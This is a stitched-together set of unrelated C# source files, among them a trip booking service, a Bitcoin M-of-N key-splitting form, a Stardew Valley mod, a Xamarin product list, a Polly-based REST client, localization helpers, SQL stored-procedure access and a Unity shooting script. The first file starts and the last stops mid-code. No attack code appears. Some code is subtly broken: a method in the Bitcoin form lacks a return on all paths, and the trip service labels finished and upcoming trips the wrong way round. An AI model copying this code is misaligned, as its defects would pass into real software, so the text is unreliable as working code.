public class ClientDomain : Entity<Guid>
{
public string Name { get; set; }
public string ContactName { get; set; }
public string AddressLine1 { get; set; }
public string AddressLine2 { get; set; }
public string City { get; set; }
public string Postcode { get; set; }
public string Email { get; set; }
public string Telephone { get; set; }
public List<ServiceDomain> Services { get; set; }
}
} |
using System;
using System.Linq;
using System.Threading.Tasks;
using Airelax.Application.Account;
using Airelax.Application.Houses.Dtos.Response;
using Airelax.Domain.RepositoryInterface;
using Lazcat.Infrastructure.DependencyInjection;
namespace Airelax.Application.Trips
{
[DependencyInjection(typeof(ITripService))]
public class TripService : ITripService
{
private readonly IOrderRepository _orderRepository;
private readonly IAccountService _accountService;
public TripService(IOrderRepository orderRepository, IAccountService accountService)
{
_orderRepository = orderRepository;
_accountService = accountService;
}
public async Task<TripViewModels> GetTripViewModel()
{
var memberId = _accountService.GetAuthMemberId();
var trips = await _orderRepository.GetTrips(memberId);
var t = trips.Select(x => new TripViewModel
{
OrderId = x.Id,
StartDate = x.OrderDetail.StartDate,
EndDate = x.OrderDetail.EndDate,
Image = x.House.Photos.Select(y => y.Image).FirstOrDefault(),
Town = x.House.HouseLocation.Town,
Title = x.House.Title
});
return new TripViewModels()
{
FinishedTrips = t.Where(x => x.EndDate > DateTime.Now),
UpcomingTrips = t.Where(x => x.EndDate <= DateTime.Now)
};
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SubtitlesParser
{
class StartTimeComparer : IComparer<SubtitleItem>
{
public int Compare(SubtitleItem x, SubtitleItem y)
{
return x.StartTime - y.StartTime;
}
}
}
|
// Copyright 2012 Mike Caldwell (Casascius)
// This file is part of Bitcoin Address Utility.
// Bitcoin Address Utility is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Bitcoin Address Utility is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Bitcoin Address Utility. If not, see http://www.gnu.org/licenses/.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Security.Cryptography;
using System.Diagnostics;
using System.Windows.Forms;
using BtcAddress.Properties;
using Org.BouncyCastle.Asn1;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Digests;
using Org.BouncyCastle.Crypto.Generators;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Security;
using Org.BouncyCastle.Math.EC;
using Org.BouncyCastle.Math;
using Casascius.Bitcoin;
namespace BtcAddress {
public partial class MofNcalc : Form {
public MofNcalc() {
InitializeComponent();
}
private TextBox GetPartBox(int i)
{
if (txtPart1 != null && (txtPart2 != null && (txtPart3 != null && (txtPart4 != null && txtPart5 != null &&
(txtPart6 != null &&
(txtPart7 != null && txtPart8 != null))))))
{
var parts = new[]
{
txtPart1, txtPart2, txtPart3, txtPart4, txtPart5, txtPart6, txtPart7,
txtPart8
};
if (parts.Length > i) return parts[i];
}
}
private void textBox9_TextChanged(object sender, EventArgs e) {
}
private byte[] _targetPrivKey = null;
private void btnGenerate_Clicxk(object sender, EventArgs e) {
if (numPartsNeeded != null && (numPartsToGenerate != null && numPartsNeeded.Value > numPartsToGenerate.Value)) {
MessageBox.Show(Resources.MofNcalc_btnGenerate_Clicxk_Number_of_parts_needed_exceeds_number_of_parts_to_generate_);
return;
}
for (var i = 0; i < 8; i++) {
var t = GetPartBox(i);
t.Text = string.Empty;
t.BackColor = Color.White;
}
var mn = new MofN();
if (_targetPrivKey == null) {
if (numPartsNeeded != null)
if (numPartsToGenerate != null)
mn.Generate((int)numPartsNeeded.Value, (int)numPartsToGenerate.Value);
} else {
if (numPartsNeeded != null)
if (numPartsToGenerate != null)
mn.Generate((int)numPartsNeeded.Value, (int)numPartsToGenerate.Value, _targetPrivKey);
}
var j = 0;
foreach (var kp in mn.GetKeyParts()) {
if (kp != null) GetPartBox(j++).Text = kp;
}
if (txtPrivKey != null) txtPrivKey.Text = mn.BitcoinPrivateKey ?? "?";
if (txtAddress != null) txtAddress.Text = mn.BitcoinAddress ?? "?";
}
public static List<equation> Solvesome(List<equation> ineq) {
if (ineq == null) throw new ArgumentNullException("ineq");
if (ineq.Count == 1) return ineq;
var outeq = new List<equation>();
for (var i = 1; i < ineq.Count; i++) {
if (ineq.Count > i) outeq.Add(ineq[i].CombineAndReduce(ineq[0]));
}
return outeq;
}
private void btnDecode_Click(object sender, EventArgs e) {
if (sender == null) throw new ArgumentNullException("sender");
if (e == null) throw new ArgumentNullException("e");
var mn = new MofN();
for (var i = 0; i < 8; i++) {
var t = GetPartBox(i);
if (t.Text != null)
{
var p = t.Text.Trim();
if (p == string.Empty || (mn.PartsAccepted >= mn.PartsNeeded && mn.PartsNeeded > 0)) {
t.BackColor = Color.White;
} else {
var result = mn.AddKeyPart(p);
if (result == null) {
t.BackColor = Color.LightGreen;
} else {
t.BackColor = System.Drawing.Color.Pink;
}
}
}
}
if (mn.PartsAccepted >= mn.PartsNeeded && mn.PartsNeeded > 0) {
mn.Decode();
if (txtPrivKey != null) if (mn.BitcoinPrivateKey != null) txtPrivKey.Text = mn.BitcoinPrivateKey;
if (txtAddress != null) if (mn.BitcoinAddress != null) txtAddress.Text = mn.BitcoinAddress;
} else {
MessageBox.Show(Resources.MofNcalc_btnDecode_Click_Not_enough_valid_parts_were_present_to_decode_an_address_);
}
}
private void btnGenerateSpecific_Click(object sender, EventArgs e) {
if (sender == null) throw new ArgumentNullException("sender");
if (e == null) throw new ArgumentNullException("e");
KeyPair k = null;
try
{
if (txtPrivKey != null) k = new KeyPair(txtPrivKey.Text);
_targetPrivKey = k.PrivateKeyBytes;
}
catch (Exception) {
MessageBox.Show(Resources.MofNcalc_btnGenerateSpecific_Click_Not_a_valid_private_key_);
}
btnGenerate_Clicxk(sender, e);
_targetPrivKey = null;
}
private void MofNcalc_Load(object sender, EventArgs e)
{
if (sender == null) throw new ArgumentNullException("sender");
if (e == null) throw new ArgumentNullException("e");
MessageBox.Show(Resources.MofNcalc_MofNcalc_Load_This_feature_is_experimental__a_proof_of_concept__and_the_key_format_will_probably_be_revised_heavily_before_this_ever_makes_it_into_production___Don_t_rely_on_it_to_secure_large_numbers_of_Bitcoins___If_you_use_it__make_sure_you_keep_a_copy_of_this_version_of_the_utility_in_case_the_m_of_n_format_is_changed_before_being_accepted_as_any_kind_of_standard_, "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
}
}
|
using NUnit.Framework;
using System.Linq;
using SFA.DAS.ProviderCommitments.Web.Models.Cohort;
using SFA.DAS.ProviderCommitments.Web.Validators.Cohort;
namespace SFA.DAS.ProviderCommitments.Web.UnitTests.Validators.Cohort
{
public class SelectCourseViewModelValidatorTests
{
[TestCase("", false)]
[TestCase(null, false)]
[TestCase("test", true)]
public void ThenCourseCodeIsValidated(string courseCode, bool expectedValid)
{
var request = new SelectCourseViewModel { CourseCode = courseCode };
var validator = new SelectCourseViewModelValidator();
var result = validator.Validate(request);
Assert.AreEqual(expectedValid, result.Errors.All(x => x.PropertyName != nameof(request.CourseCode)));
}
}
}
|
using System;
using System.Windows;
using System.Windows.Input;
using System.Windows.Threading;
using GymWorkout.Views;
namespace GymWorkout
{
/// <summary>
/// Interaction logic for MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
}
private void MainWindow_OnLoaded(object sender, RoutedEventArgs e)
{
LblTime.Content = DateTime.Now.ToString("dddd dd MMMM yyyy - HH:mm:ss");
DispatcherTimer timer = new DispatcherTimer(){Interval = TimeSpan.FromSeconds(1),IsEnabled = true};
timer.Tick += Timer_Tick;
}
private void Timer_Tick(object sender, EventArgs e)
{
LblTime.Content = DateTime.Now.ToString("dddd dd MMMM yyyy - HH:mm:ss");
}
private void BtnStudents_OnClick(object sender, RoutedEventArgs e)
{
new vwStudents() {Owner = this, WindowStartupLocation = WindowStartupLocation.CenterOwner}.ShowDialog();
}
private void BtnFoodMeals_OnClick(object sender, RoutedEventArgs e)
{
new vwFoodMeals() { Owner = this, WindowStartupLocation = WindowStartupLocation.CenterOwner }.ShowDialog();
}
private void BtnFoodUnits_OnClick(object sender, RoutedEventArgs e)
{
new vwFoodUnits() { Owner = this, WindowStartupLocation = WindowStartupLocation.CenterOwner }.ShowDialog();
}
private void BtnWorkoutTitles_OnClick(object sender, RoutedEventArgs e)
{
new vwWorkoutTitles() { Owner = this, WindowStartupLocation = WindowStartupLocation.CenterOwner }.ShowDialog();
}
}
/// <summary>
/// Class used to manage generic scoping of access keys
/// </summary>
public static class AccessKeyScoper
{
/// <summary>
/// Identifies the IsAccessKeyScope attached dependency property
/// </summary>
public static readonly DependencyProperty IsAccessKeyScopeProperty =
DependencyProperty.RegisterAttached("IsAccessKeyScope", typeof(bool), typeof(AccessKeyScoper), new PropertyMetadata(false, HandleIsAccessKeyScopePropertyChanged));
/// <summary>
/// Sets the IsAccessKeyScope attached property value for the specified object
/// </summary>
/// <param name="obj">The object to retrieve the value for</param>
/// <param name="value">Whether the object is an access key scope</param>
public static void SetIsAccessKeyScope(DependencyObject obj, bool value)
{
obj.SetValue(AccessKeyScoper.IsAccessKeyScopeProperty, value);
}
/// <summary>
/// Gets the value of the IsAccessKeyScope attached property for the specified object
/// </summary>
/// <param name="obj">The object to retrieve the value for</param>
/// <returns>The value of IsAccessKeyScope attached property for the specified object</returns>
public static bool GetIsAccessKeyScope(DependencyObject obj)
{
return (bool)obj.GetValue(AccessKeyScoper.IsAccessKeyScopeProperty);
}
private static void HandleIsAccessKeyScopePropertyChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
if (e.NewValue.Equals(true))
{
AccessKeyManager.AddAccessKeyPressedHandler(d, HandleScopedElementAccessKeyPressed);
}
else
{
AccessKeyManager.RemoveAccessKeyPressedHandler(d, HandleScopedElementAccessKeyPressed);
}
}
private static void HandleScopedElementAccessKeyPressed(object sender, AccessKeyPressedEventArgs e)
{
if (!Keyboard.IsKeyDown(Key.LeftAlt) && !Keyboard.IsKeyDown(Key.RightAlt) && GetIsAccessKeyScope((DependencyObject)sender))
{
e.Scope = sender;
e.Handled = true;
}
}
}
}
|
using Harmony;
using Microsoft.Xna.Framework;
using Netcode;
using StardewModdingAPI;
using StardewValley;
using StardewValley.TerrainFeatures;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading.Tasks;
namespace BetterRarecrows
{
class ModEntry : Mod
{
public static List<int> CurrentRarecrows;
public static int PreviousDate = 0;
public static IMonitor ModMonitor;
public override void Entry(IModHelper helper)
{
// Create a new Harmony instance for patching source code
HarmonyInstance harmony = HarmonyInstance.Create(this.ModManifest.UniqueID);
// Get the method we want to patch
MethodInfo targetMethod = AccessTools.Method(typeof(Farm), nameof(Farm.addCrows));
// Get the patch that was created
MethodInfo prefix = AccessTools.Method(typeof(ModEntry), nameof(ModEntry.Prefix));
// Apply the patch
harmony.Patch(targetMethod, prefix: new HarmonyMethod(prefix));
ModMonitor = this.Monitor;
}
private static bool Prefix(ref Farm __instance)
{
if (ModEntry.PreviousDate != Game1.dayOfMonth)
{
ModEntry.PreviousDate = Game1.dayOfMonth;
ModEntry.CurrentRarecrows = new List<int>();
}
// Check if all rare crows have been placed
foreach (KeyValuePair<Vector2, StardewValley.Object> pair in __instance.objects.Pairs)
{
if ((bool)((NetFieldBase<bool, NetBool>)pair.Value.bigCraftable) && pair.Value.Name.Contains("arecrow"))
{
List<int> listOfPossibleRarecrows = new List<int> { 140, 139, 138, 137, 136, 126, 113, 110 };
if (listOfPossibleRarecrows.Contains(pair.Value.parentSheetIndex) && !CurrentRarecrows.Contains(pair.Value.parentSheetIndex))
{
ModEntry.CurrentRarecrows.Add(pair.Value.parentSheetIndex);
}
}
}
if (ModEntry.CurrentRarecrows.Count() == 8)
{
ModEntry.ModMonitor.Log("All 8 rarecrows found on farm", LogLevel.Trace);
return false;
}
else
{
ModEntry.ModMonitor.Log($"Only {CurrentRarecrows.Count()} rarecrows found on farm", LogLevel.Trace);
return true;
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
using System.Net.Http;
using Newtonsoft.Json.Linq;
using Xamarin.Forms;
namespace Wonderland
{
public class productItem
{
public string productTitle { get; set; }
public string productPrice { get; set; }
public string productText { get; set; }
public string productImage { get; set; }
}
public partial class FirstPage : ContentPage
{
public FirstPage()
{
InitializeComponent();
productsListView.ItemSelected += clickedOnAProductRow;
getProductData();
}
async Task<bool> getProductData()
{
var httpClientRequest = new HttpClient();
var resultString = "";
try
{
var result = await httpClientRequest.GetAsync("https://www.dropbox.com/s/267omsn39uegqtw/jsonText.json?dl=1");
resultString = await result.Content.ReadAsStringAsync();
}
catch (Exception err)
{
Console.WriteLine("Error");
return false;
}
System.Diagnostics.Debug.WriteLine(resultString);
var jsonResult = new JObject();
try
{
jsonResult = JObject.Parse(resultString);
}
catch (Exception err)
{
System.Diagnostics.Debug.WriteLine("ERROR JSON FEL!! "+err.Message);
return false;
}
List<productItem> products = new List<productItem>();
foreach (var currentProduct in jsonResult["product"])
{
System.Diagnostics.Debug.WriteLine(currentProduct);
products.Add(new productItem() { productTitle = (String)currentProduct["productTitle"], productPrice = (String)currentProduct["productPrice"], productText = (String)currentProduct["productText"], productImage = (String)currentProduct["productImage"] });
}
productsListView.ItemsSource = products;
return true;
}
void clickedOnAProductRow(object sender, SelectedItemChangedEventArgs eventInfo)
{
if (eventInfo.SelectedItem != null)
{
productItem theClickedProduct = (productItem)eventInfo.SelectedItem;
Console.WriteLine(theClickedProduct.productTitle);
productsListView.SelectedItem = null;
}
}
}
}
|
using System;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Net.Http.Formatting;
using System.Net.Http.Headers;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using ApiTemplate.Common.Markers.DependencyRegistrar;
using ApiTemplate.Common.Resources;
using ApiTemplate.Model.Rest;
using ApiTemplate.Service.Logs;
using Newtonsoft.Json;
using Polly;
using Polly.CircuitBreaker;
using Polly.Fallback;
using Polly.Retry;
namespace ApiTemplate.Service.Rests
{
public class RestService : IRestService, IScopedDependency
{
#region Fields
private readonly IHttpClientFactory _httpClientFactory;
private readonly AsyncRetryPolicy<HttpResponseMessage> _retryPolicy;
private readonly AsyncFallbackPolicy<HttpResponseMessage> _fallbackPolicy;
private readonly ILogService _logService;
#endregion
#region Constructors
public RestService(IHttpClientFactory httpClientFactory, ILogService logService)
{
_httpClientFactory = httpClientFactory;
_logService = logService;
_retryPolicy = Policy
.HandleResult<HttpResponseMessage>(result => !result.IsSuccessStatusCode)
.WaitAndRetryAsync(25, duration => TimeSpan.FromSeconds(20), (d, c) =>
{
//Retry
//call log service
//logService.Log();
});
_fallbackPolicy = Policy.HandleResult<HttpResponseMessage>(result => !result.IsSuccessStatusCode)
.Or<BrokenCircuitException>()
.FallbackAsync(new HttpResponseMessage(HttpStatusCode.OK)
{
Content = new ObjectContent(typeof(ResponseModel<string>), new ResponseModel<string>
{
Message = Resource.FailureCallApi,
Code = HttpStatusCode.BadGateway,
Data = string.Empty
}, new JsonMediaTypeFormatter())
});
}
#endregion
#region Methods
public async Task<ResponseModel<TResult>> CallPost<TResult, TParam>(CallParameterModel<TParam> parameter, CancellationToken cancellationToken = default) where TResult : class
{
var httpClient = _httpClientFactory.CreateClient();
StringContent content = null;
var baseAddress = new Uri(parameter.BaseAddress);
httpClient.BaseAddress = baseAddress;
httpClient.DefaultRequestHeaders.Clear();
httpClient.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
httpClient.Timeout = new TimeSpan(0, 10, 0);
if (parameter.HasApiKey&¶meter.SendApiKeyByHeader)
{
httpClient.DefaultRequestHeaders.Add(parameter.ApiKeyName, parameter.ApiKeyValue);
}
if (!string.IsNullOrEmpty(parameter.BearerToken))
{
httpClient.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue($"Bearer {parameter.BearerToken}");
}
if (!(parameter.Content is null))
{
var serializedData = JsonConvert.SerializeObject(parameter.Content);
content = new StringContent(serializedData, Encoding.UTF8, "application/json");
}
//using polly
var result = await _fallbackPolicy.ExecuteAsync(() => _retryPolicy.ExecuteAsync(() =>
CircuitBreakerPolicy().ExecuteAsync(() =>httpClient.PostAsync(parameter.ApiName, content,cancellationToken))));
if (result.IsSuccessStatusCode)
{
var readDataAsString = await result.Content.ReadAsStringAsync();
var deserializeData = JsonConvert.DeserializeObject<TResult>(readDataAsString);
return new ResponseModel<TResult>
{
IsSuccess = result.IsSuccessStatusCode,
Message = result.ReasonPhrase,
Code = result.StatusCode,
Data = deserializeData
};
}
else
{
return new ResponseModel<TResult>
{
IsSuccess =false,
Code = result.StatusCode,
Message = result.ReasonPhrase,
Data = null
};
}
}
public async Task<ResponseModel<TResult>> CallSend<TResult>(SendParameterModel parameter, CancellationToken cancellationToken = default) where TResult : class
{
var httpClient = _httpClientFactory.CreateClient();
var baseAddress = new Uri(parameter.BaseAddress);
httpClient.BaseAddress = baseAddress;
httpClient.DefaultRequestHeaders.Clear();
httpClient.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
httpClient.Timeout = new TimeSpan(0, 10, 0);
if (parameter.HasApiKey && parameter.SendApiKeyByHeader)
{
httpClient.DefaultRequestHeaders.Add(parameter.ApiKeyName, parameter.ApiKeyValue);
}
if (!string.IsNullOrEmpty(parameter.BearerToken))
{
httpClient.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue($"Bearer {parameter.BearerToken}");
}
var httpResponseMessage=new HttpRequestMessage
{
Method = parameter.Method
};
if (!string.IsNullOrEmpty(parameter.QueryString))
{
httpResponseMessage.RequestUri=new Uri($"{httpClient.BaseAddress}/{parameter.ApiName}?{parameter.QueryString}");
}
//using polly
var result = await _fallbackPolicy.ExecuteAsync(() => _retryPolicy.ExecuteAsync(() =>
CircuitBreakerPolicy().ExecuteAsync(() => httpClient.SendAsync(httpResponseMessage,cancellationToken))));
if (result.IsSuccessStatusCode)
{
var readDataAsString = await result.Content.ReadAsStringAsync();
var deserializeData = JsonConvert.DeserializeObject<TResult>(readDataAsString);
return new ResponseModel<TResult>
{
IsSuccess = result.IsSuccessStatusCode,
Message = result.ReasonPhrase,
Code = result.StatusCode,
Data = deserializeData
};
}
else
{
return new ResponseModel<TResult>
{
IsSuccess = false,
Code = result.StatusCode,
Message = result.ReasonPhrase,
Data = null
};
}
}
private AsyncCircuitBreakerPolicy<HttpResponseMessage> CircuitBreakerPolicy()
{
return Policy.HandleResult<HttpResponseMessage>(r => !r.IsSuccessStatusCode).Or<HttpRequestException>()
.CircuitBreakerAsync(/*تعداد دفعات برخورد خطا*/15, /**تایمی که اجازه قبول درخواست جدید را نمی دهد**/TimeSpan.FromSeconds(10),
(d, c) =>
{
//Break
//وقتی درخواستی رد میشود این متد اجرا میشود
},
() =>
{
// Reset
// اگر بعد از مدت زمان دلخواه درخواست فرستاده شد و جواب اوکی گرفته شد این متد صدا زده می شود
},
() =>
{
//Half
// بعد از مدت زمان مورد اگر درخواستی بیاد اول این متد صدا زده می شود
});
}
#endregion
}
}
|
using Alabo.Domains.Entities;
namespace Alabo.Domains.Services.Random {
public interface IRandom<TEntity, in TKey> where TEntity : class, IAggregateRoot<TEntity, TKey> {
/// <summary>
/// 从数据库中随机读取一条记录
/// 一般用于单元测试
/// 1:表示第一条记录
/// -1:表示最后一条记录
/// 其他随机读取
/// </summary>
/// <param name="id">Id标识</param>
TEntity GetRandom(long id);
}
} |
namespace Sales.Helpers
{
using Xamarin.Forms;
using Interfaces;
using Resources;
public static class Languages
{
static Languages()
{
var ci = DependencyService.Get<ILocalize>().GetCurrentCultureInfo();
Resource.Culture = ci;
DependencyService.Get<ILocalize>().SetLocale(ci);
}
public static string Accept
{
get { return Resource.Accept; }
}
public static string Error
{
get { return Resource.Error; }
}
public static string NoInternet
{
get { return Resource.NoInternet; }
}
public static string Products
{
get { return Resource.Products; }
}
public static string TurnOnInternet
{
get { return Resource.TurnOnInternet; }
}
public static string AddProduct
{
get { return Resource.AddProduct; }
}
public static string Description
{
get { return Resource.Description; }
}
public static string DescriptionPlaceholder
{
get { return Resource.DescriptionPlaceholder; }
}
public static string Price
{
get { return Resource.Price; }
}
public static string PricePlaceholder
{
get { return Resource.PricePlaceholder; }
}
public static string Remarks
{
get { return Resource.Remarks; }
}
public static string Save
{
get { return Resource.Save; }
}
public static string ChangeImage
{
get { return Resource.ChangeImage; }
}
public static string DescriptionError
{
get { return Resource.DescriptionError; }
}
public static string PriceError
{
get { return Resource.PriceError; }
}
public static string ImageSource
{
get { return Resource.ImageSource; }
}
public static string FromGallery
{
get { return Resource.FromGallery; }
}
public static string NewPicture
{
get { return Resource.NewPicture; }
}
public static string Cancel
{
get { return Resource.Cancel; }
}
public static string Delete
{
get { return Resource.Delete; }
}
public static string Edit
{
get { return Resource.Edit; }
}
public static string DeleteConfirmation
{
get { return Resource.DeleteConfirmation; }
}
public static string Yes
{
get { return Resource.Yes; }
}
public static string No
{
get { return Resource.No; }
}
public static string Confirm
{
get { return Resource.Confirm; }
}
public static string EditProduct
{
get { return Resource.EditProduct; }
}
public static string IsAvailable
{
get { return Resource.IsAvailable; }
}
public static string Search
{
get { return Resource.Search; }
}
public static string Login
{
get { return Resource.Login; }
}
public static string EMail
{
get { return Resource.EMail; }
}
public static string EmailPlaceHolder
{
get { return Resource.EmailPlaceHolder; }
}
public static string Password
{
get { return Resource.Password; }
}
public static string PasswordPlaceHolder
{
get { return Resource.PasswordPlaceHolder; }
}
public static string Rememberme
{
get { return Resource.Rememberme; }
}
public static string Forgot
{
get { return Resource.Forgot; }
}
public static string Register
{
get { return Resource.Register; }
}
public static string EmailValidation
{
get { return Resource.EmailValidation; }
}
public static string PasswordValidation
{
get { return Resource.PasswordValidation; }
}
public static string SomethingWrong
{
get { return Resource.SomethingWrong; }
}
public static string Menu
{
get { return Resource.Menu; }
}
public static string Setup
{
get { return Resource.Setup; }
}
public static string About
{
get { return Resource.About; }
}
public static string Exit
{
get { return Resource.Exit; }
}
public static string NoProductsMessage
{
get { return Resource.NoProductsMessage; }
}
public static string FirstName
{
get { return Resource.FirstName; }
}
public static string FirstNamePlaceholder
{
get { return Resource.FirstNamePlaceholder; }
}
public static string LastName
{
get { return Resource.LastName; }
}
public static string LastNamePlaceholder
{
get { return Resource.LastNamePlaceholder; }
}
public static string Phone
{
get { return Resource.Phone; }
}
public static string PhonePlaceHolder
{
get { return Resource.PhonePlaceHolder; }
}
public static string PasswordConfirm
{
get { return Resource.PasswordConfirm; }
}
public static string PasswordConfirmPlaceHolder
{
get { return Resource.PasswordConfirmPlaceHolder; }
}
public static string Address
{
get { return Resource.Address; }
}
public static string AddressPlaceHolder
{
get { return Resource.AddressPlaceHolder; }
}
public static string FirstNameError
{
get { return Resource.FirstNameError; }
}
public static string LastNameError
{
get { return Resource.LastNameError; }
}
public static string EMailError
{
get { return Resource.EMailError; }
}
public static string PhoneError
{
get { return Resource.PhoneError; }
}
public static string PasswordError
{
get { return Resource.PasswordError; }
}
public static string PasswordConfirmError
{
get { return Resource.PasswordConfirmError; }
}
public static string PasswordsNoMatch
{
get { return Resource.PasswordsNoMatch; }
}
public static string RegisterConfirmation
{
get { return Resource.RegisterConfirmation; }
}
public static string Categories
{
get { return Resource.Categories; }
}
public static string Category
{
get { return Resource.Category; }
}
public static string CategoryPlaceholder
{
get { return Resource.CategoryPlaceholder; }
}
public static string CategoryError
{
get { return Resource.CategoryError; }
}
}
} |
using CoreLib.Commons;
using CoreLib.Models;
using CoreLib.Utils;
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SqlClient;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace DatabaseDAL.DataAccess
{
public static class DatabaseGroup
{
public static CResult InsertGroup(Group group)
{
CSQL objSQL = new CSQL(CommonConstants.CONNECTION_STRING);
CResult objResult;
try
{
if (objSQL._OpenConnection() == false)
return objResult = new CResult { ErrorCode = -1, ErrorMessage = "Open Connection False!", Data = null };
// input param
SqlParameter prmGroupCode = new SqlParameter("@GroupCode", SqlDbType.VarChar, 50);
prmGroupCode.Direction = ParameterDirection.Input;
objSQL.Command.Parameters.Add(prmGroupCode);
SqlParameter prmGroupName = new SqlParameter("@GroupName", SqlDbType.NVarChar, 200);
prmGroupName.Direction = ParameterDirection.Input;
objSQL.Command.Parameters.Add(prmGroupName);
// output param
SqlParameter Message = new SqlParameter("@Message", SqlDbType.NVarChar, 100);
Message.Direction = ParameterDirection.Output;
objSQL.Command.Parameters.Add(Message);
SqlParameter ErrCode = new SqlParameter("@ErrCode", SqlDbType.Int);
ErrCode.Direction = ParameterDirection.Output;
objSQL.Command.Parameters.Add(ErrCode);
// set value
prmGroupCode.Value = group.GroupCode;
prmGroupName.Value = group.GroupName;
objSQL.ExecuteSP(CommonConstants.SP_INSERT_GROUP);
var errCode = int.Parse(ErrCode.Value.ToString());
return objResult = new CResult { ErrorCode = errCode, ErrorMessage = Message.Value.ToString(), Data = null };
}
catch (Exception ex)
{
objResult = new CResult { ErrorCode = -1, ErrorMessage = ex.Message, Data = null };
}
return objResult;
}
public static CResult UpdateGroup(Group group)
{
CSQL objSQL = new CSQL(CommonConstants.CONNECTION_STRING);
CResult objResult;
try
{
if (objSQL._OpenConnection() == false)
return objResult = new CResult { ErrorCode = -1, ErrorMessage = "Open Connection False!", Data = null };
// input param
SqlParameter prmGroupCode = new SqlParameter("@GroupCode", SqlDbType.VarChar, 50);
prmGroupCode.Direction = ParameterDirection.Input;
objSQL.Command.Parameters.Add(prmGroupCode);
SqlParameter prmGroupName = new SqlParameter("@GroupName", SqlDbType.NVarChar, 200);
prmGroupName.Direction = ParameterDirection.Input;
objSQL.Command.Parameters.Add(prmGroupName);
// output param
SqlParameter Message = new SqlParameter("@Message", SqlDbType.NVarChar, 100);
Message.Direction = ParameterDirection.Output;
objSQL.Command.Parameters.Add(Message);
SqlParameter ErrCode = new SqlParameter("@ErrCode", SqlDbType.NVarChar, 100);
ErrCode.Direction = ParameterDirection.Output;
objSQL.Command.Parameters.Add(ErrCode);
// set value
prmGroupCode.Value = group.GroupCode;
prmGroupName.Value = group.GroupName;
objSQL.ExecuteSP(CommonConstants.SP_UPDATE_GROUP);
var errCode = int.Parse(ErrCode.Value.ToString());
return objResult = new CResult { ErrorCode = errCode, ErrorMessage = Message.Value.ToString(), Data = null };
}
catch (Exception ex)
{
objResult = new CResult { ErrorCode = -1, ErrorMessage = ex.Message, Data = null };
}
return objResult;
}
public static CResult DeleteGroup(string groupCode)
{
CSQL objSQL = new CSQL(CommonConstants.CONNECTION_STRING);
CResult objResult;
try
{
if (objSQL._OpenConnection() == false)
return objResult = new CResult { ErrorCode = -1, ErrorMessage = "Open Connection False!", Data = null };
// input param
SqlParameter prmGroupCode = new SqlParameter("@GroupCode", SqlDbType.VarChar, 50);
prmGroupCode.Direction = ParameterDirection.Input;
objSQL.Command.Parameters.Add(prmGroupCode);
// output param
SqlParameter Message = new SqlParameter("@Message", SqlDbType.NVarChar, 100);
Message.Direction = ParameterDirection.Output;
objSQL.Command.Parameters.Add(Message);
SqlParameter ErrCode = new SqlParameter("@ErrCode", SqlDbType.NVarChar, 100);
ErrCode.Direction = ParameterDirection.Output;
objSQL.Command.Parameters.Add(ErrCode);
// set value
prmGroupCode.Value = groupCode;
objSQL.ExecuteSP(CommonConstants.SP_DELETE_GROUP);
var errCode = int.Parse(ErrCode.Value.ToString());
return objResult = new CResult { ErrorCode = errCode, ErrorMessage = Message.Value.ToString(), Data = null };
}
catch (Exception ex)
{
objResult = new CResult { ErrorCode = -1, ErrorMessage = ex.Message, Data = null };
}
return objResult;
}
public static List<Group> SearchGroup(string groupCode, string groupName)
{
CSQL objSQL = new CSQL(CommonConstants.CONNECTION_STRING);
try
{
if (objSQL._OpenConnection() == false)
throw new Exception("Không thể kết nối");
//input param
SqlParameter prmGroupCode = new SqlParameter("@GroupCode", SqlDbType.VarChar, 50);
prmGroupCode.Direction = ParameterDirection.Input;
objSQL.Command.Parameters.Add(prmGroupCode);
SqlParameter prmGroupName = new SqlParameter("@GroupName", SqlDbType.NVarChar, 200);
prmGroupName.Direction = ParameterDirection.Input;
objSQL.Command.Parameters.Add(prmGroupName);
// set value param
prmGroupCode.Value = groupCode;
prmGroupName.Value = groupName;
SqlDataReader reader = objSQL.GetDataReaderFromSP(CommonConstants.SP_GET_GROUP);
var ListGroup = new List<Group>();
while (reader.Read())
{
try
{
Group group = new Group();
group.GroupCode = Common.SafeGetString(reader, "GroupCode");
group.GroupName = Common.SafeGetString(reader, "GroupName");
ListGroup.Add(group);
}
catch (Exception ex)
{
ex.ToString();
}
}
return ListGroup;
}
catch (Exception ex)
{
// Ghi thông tin ra file
}
finally
{
objSQL._CloseConnection();
}
return new List<Group>();
}
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Shooting : MonoBehaviour
{
public GameObject bullet;
public GameObject pew;
public GameObject rocket;
public Vector3 firingOffset;
public float bulletSpeed;
public float rocketSpeed;
public float timeBetweenShots;
public float timeBetweenRockets;
private float lastShotTime = 0f;
private float lastRocketTime = 0f;
// Start is called before the first frame update
void Start() {
}
// Update is called once per frame
void Update() {
if (Input.GetButton("Fire1")) {
if (Time.time - lastShotTime > timeBetweenShots) {
Shoot();
lastShotTime = Time.time;
}
}
if (Input.GetKey(KeyCode.R)) {
if (Time.time - lastRocketTime > timeBetweenRockets) {
